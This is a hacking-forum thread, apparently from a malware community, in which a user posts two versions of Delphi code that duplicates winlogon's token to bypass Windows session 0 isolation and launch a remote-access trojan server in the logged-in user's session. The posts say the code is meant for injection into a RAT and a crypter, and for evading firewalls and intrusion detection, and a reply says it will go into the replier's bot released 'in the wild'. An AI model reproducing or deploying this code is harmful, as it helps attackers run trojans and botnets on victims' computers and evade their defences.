+ Reply to Thread
Results 1 to 5 of 5
Like Tree3Likes
  • 1 Post By Mr Virut
  • 1 Post By Mr Virut
  • 1 Post By bigrig

Thread: Session 0 Isolation Bypass

  1. #1
    Senior Member
    Join Date
    Mar 2011
    Posts
    238

    Session 0 Isolation Bypass

    Bad news: I dont know how metasploit does it despite perusing their src code at length. I have an inelegant method to do it, gathered from various sources....

    The following code can only be used in injection... (source code is in delphi since Im trying to add it to OpenShades, but it should translate easily to C++)

    Code:
    //breaking session 0 isolation
    function WTSGetActiveConsoleSessionId:DWORD;stdcall; external 'Kernel32.dll';
    function WTSQueryUserToken(SessionID:DWORD;phToken:PDWORD):BOOL; stdcall; external 'wtsapi32.dll' name 'WTSQueryUserToken';
    function CreateEnvironmentBlock(var lpEnvironment: Pointer; hToken: THANDLE; bInherit: Boolean): Boolean; stdcall; external 'userenv.dll';
    function ProcessIdToSessionId(dwProcessId: DWORD; pSessionId: DWORD): Boolean; stdcall; external 'Kernel32.dll';
    
    function WinlogonSessionFinder( dwSessionId:DWORD ):DWORD;
    var
      winlogonPid,winlogonSessId: DWORD;
      hProcess,hSnap: THANDLE;
      procEntry: TProcessEntry32;
    begin
      Result := 0;
      hSnap := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      if (hSnap <> INVALID_HANDLE_VALUE) then begin
    
        procEntry.dwSize := sizeof(PROCESSENTRY32);
    
        winlogonPid := 0;
    
        if Process32First(hSnap, procEntry) then begin
    
          while Process32Next(hSnap, procEntry) do
          begin
            if pos('winlogon.exe', procEntry.szExeFile) > 0 then
            begin
              winlogonSessId := 0;
              ProcessIdToSessionId(procEntry.th32ProcessID, DWORD(@winlogonSessId));
              if ProcessIdToSessionId(procEntry.th32ProcessID, DWORD(@winlogonSessId)) then //
              begin
                if winlogonSessId = dwSessionId then
                begin
                  winlogonPid := procEntry.th32ProcessID;
                  break;
                end;
              end;
            end;
          end;
          Result := winlogonPid;
        end;
    
      end;
    end;
    
    procedure BreakSession0;
    var
      pi: PROCESS_INFORMATION;
      si: STARTUPINFO;
      dwSessionId,winlogonPid,dwCreationFlags,winlogonSessId,fool: DWORD;
      hUserToken,hUserTokenDup,hPToken,hProcess,hSnap: THANDLE;
      tp:TOKEN_PRIVILEGES;
      uid : LUID;
      pEnv: Pointer;
      //wth:PHANDLE;
    
    begin
      RevertToSelf;
      dwSessionId := WtsGetActiveConsoleSessionID;
      winlogonPid := WinlogonSessionFinder(dwSessionId);
      if winlogonPid <> 0 then begin
        WTSQueryUserToken(dwSessionId,@hUserToken);
    //    dwCreationFlags := NORMAL_PRIORITY_CLASS or CREATE_NEW_CONSOLE;
    //    ZeroMemory(@si, sizeof(STARTUPINFO));
    //    si.cb := sizeof(STARTUPINFO);
    //    si.lpDesktop := 'winsta0\default';
    //    ZeroMemory(@pi, sizeof(pi));
        hProcess := OpenProcess(MAXIMUM_ALLOWED,FALSE,winlogonPid);
    
        if OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY
                        or TOKEN_DUPLICATE or TOKEN_ASSIGN_PRIMARY or $100
                        or TOKEN_READ or TOKEN_WRITE,hPToken) then
        begin
          tp.PrivilegeCount := 1;
          tp.Privileges[0].Luid := INT64(uid);
          tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
    
          DuplicateTokenEx(hPToken,MAXIMUM_ALLOWED,nil,SecurityIdentification,TokenPrimary,hUserTokenDup);
          //Adjust Token privilege
          SetTokenInformation(hUserTokenDup,TokenSessionId,Pointer(dwSessionId),sizeof(DWORD));
          AdjustTokenPrivileges(hUserTokenDup, FALSE, tp, sizeof(TOKEN_PRIVILEGES), nil, fool);
    
          pEnv := nil;
    
          if CreateEnvironmentBlock(pEnv,hUserTokenDup,TRUE) then
            dwCreationFlags := dwCreationFlags or CREATE_UNICODE_ENVIRONMENT;
    
    //// Launch the process in the client's logon session.
    
          CreateProcessAsUser(
            hUserTokenDup,            // client's access token
            'C:\Users\<censored>\Desktop\DDAY RAT\OpenShades NET\Server\testServer.exe',              // file to execute
            nil,              // command line
            nil,              // pointer to process SECURITY_ATTRIBUTES
            nil,              // pointer to thread SECURITY_ATTRIBUTES
            FALSE,             // handles are not inheritable
            dwCreationFlags,  // creation flags
            pEnv,              // pointer to new environment block
            nil,              // name of current directory
            si,               // pointer to STARTUPINFO structure
            pi                // receives information about new process
          );
    
        end;
      end;
    end;
    If any1 has a better method to bypass session 0 isolation without needing to create a new process, I'd sure like to see it. RAID would benefit from that as well since u can bypass without having to inject and triggering the firewalls and IDS n shit
    kubano likes this.
    You COULD code in ASM... if ur smarter than the compiler and know every single processor and hardware inside and out and know how to optimize everything even though the hardware changes daily.... or u could just let the compilers do their job and learn how to make better software at the higher level.

  2. #2
    Senior Member
    Join Date
    Mar 2011
    Posts
    238
    Edit: after desperately trying to put it into my crypter (I have no fuckin clue when it comes to writing polymorphic wrappers of windows apis. Who knew.)
    I have found out that a little over half of the functions in here are unecessary. Rly u just needed to duplciate the token and then createprocessasuser. Good. Now I get to delete all the polymorphic functions that arent working like wtsqueryusertoken or someshit. Haha thats wat I get for c/p w/o experimenting huh?


    Code:
    //breaking session 0 isolation
    function WTSGetActiveConsoleSessionId:DWORD;stdcall; external 'Kernel32.dll';
    function ProcessIdToSessionId(dwProcessId: DWORD; pSessionId: DWORD): Boolean; stdcall; external 'Kernel32.dll';
    
    function WinlogonSessionFinder( dwSessionId:DWORD ):DWORD;
    var
      winlogonPid,winlogonSessId: DWORD;
      hProcess,hSnap: THANDLE;
      procEntry: TProcessEntry32;
    begin
      Result := 0;
      hSnap := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      if (hSnap <> INVALID_HANDLE_VALUE) then begin
    
        procEntry.dwSize := sizeof(PROCESSENTRY32);
    
        winlogonPid := 0;
    
        if Process32First(hSnap, procEntry) then begin
    
          while Process32Next(hSnap, procEntry) do
          begin
            if pos('winlogon.exe', procEntry.szExeFile) > 0 then
            begin
              winlogonSessId := 0;
    
              if ProcessIdToSessionId(procEntry.th32ProcessID, DWORD(@winlogonSessId)) then //
              begin
                if winlogonSessId = dwSessionId then
                begin
                  winlogonPid := procEntry.th32ProcessID;
                  break;
                end;
              end;
            end;
          end;
          Result := winlogonPid;
        end;
    
      end;
    end;
    
    procedure BreakSession0;
    var
      pi: PROCESS_INFORMATION;
      si: STARTUPINFO;
      dwSessionId,winlogonPid,dwCreationFlags,winlogonSessId,fool: DWORD;
      hUserToken,hUserTokenDup,hPToken,hProcess,hSnap: THANDLE;
      tp:TOKEN_PRIVILEGES;
      uid : LUID;
      pEnv: Pointer;
      //wth:PHANDLE;
    
    begin
      RevertToSelf;
      dwSessionId := WtsGetActiveConsoleSessionID;
      winlogonPid := WinlogonSessionFinder(dwSessionId);
      if winlogonPid <> 0 then begin
        hProcess := OpenProcess(MAXIMUM_ALLOWED,FALSE,winlogonPid);
    
        if OpenProcessToken(hProcess,TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY
                        or TOKEN_DUPLICATE or TOKEN_ASSIGN_PRIMARY or $100
                        or TOKEN_READ or TOKEN_WRITE,hPToken) then
        begin
          tp.PrivilegeCount := 1;
          tp.Privileges[0].Luid := INT64(uid);
          tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
    
          DuplicateTokenEx(hPToken,MAXIMUM_ALLOWED,nil,SecurityIdentification,TokenPrimary,hUserTokenDup);
    
            dwCreationFlags := dwCreationFlags or CREATE_UNICODE_ENVIRONMENT;
    
    //// Launch the process in the client's logon session.
    
          CreateProcessAsUser(
            hUserTokenDup,            // client's access token
            'C:\Users\<censored>\Desktop\DDAY RAT\OpenShades NET\Server\testServer.exe',              // file to execute
            nil,              // command line
            nil,              // pointer to process SECURITY_ATTRIBUTES
            nil,              // pointer to thread SECURITY_ATTRIBUTES
            FALSE,             // handles are not inheritable
            dwCreationFlags,  // creation flags
            nil,              // pointer to new environment block
            nil,              // name of current directory
            si,               // pointer to STARTUPINFO structure
            pi                // receives information about new process
          );
    
        end;
      end;
    end;
    Welp back to work... yknow that article didnt exactly teach HOW to write self-modifying windows api wrappers for all cases, like where one function returns a pointer as a variable or someshit.... keep getting access violation at address 0000000000 its some whack shit I tell ya. Fuck! At this rate Imma need to retake ECE 3035 or somethin
    Last edited by Mr Virut; 23-01-2012 at 22:13.
    kubano likes this.
    You COULD code in ASM... if ur smarter than the compiler and know every single processor and hardware inside and out and know how to optimize everything even though the hardware changes daily.... or u could just let the compilers do their job and learn how to make better software at the higher level.

  3. #3
    Member bigrig's Avatar
    Join Date
    Jan 2012
    Posts
    92
    just found nice trick that can be done with this method

    good share, very interest and useful
    kubano likes this.

  4. #4
    Senior Member
    Join Date
    Mar 2011
    Posts
    238
    Just curious, what nice trick did u find?
    You COULD code in ASM... if ur smarter than the compiler and know every single processor and hardware inside and out and know how to optimize everything even though the hardware changes daily.... or u could just let the compilers do their job and learn how to make better software at the higher level.

  5. #5
    Member bigrig's Avatar
    Join Date
    Jan 2012
    Posts
    92
    Quote Originally Posted by Mr Virut View Post
    Just curious, what nice trick did u find?
    would be nice to share, but i rather keep it secret...

    i don't want any identifying me as coder of my bot when see exe in wild using the trick, so i cant say, but again thanks for the code its very useful

Thread Information

Users Browsing this Thread

There are currently 1 users browsing this thread. (0 members and 1 guests)

Similar Threads

  1. XSS - browser session stealing
    By sugarfree in forum General Programming Help
    Replies: 2
    Last Post: 27-07-2011, 21:43
  2. How to get Session(or whatever it's called) ID??
    By Melone in forum C/C++ Help
    Replies: 4
    Last Post: 09-01-2011, 07:14
  3. how to connect many session on msn
    By social-turk in forum Malware Discussion and General Help
    Replies: 0
    Last Post: 12-10-2008, 10:04
  4. AVG Bypass
    By guro in forum Malware Discussion and General Help
    Replies: 4
    Last Post: 08-10-2008, 18:38
  5. Kav bypass
    By ciccio in forum Tutorials and Articles
    Replies: 2
    Last Post: 05-05-2006, 12:54

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts

Search Engine Friendly URLs by vBSEO 3.6.0 ©2011, Crawlability, Inc.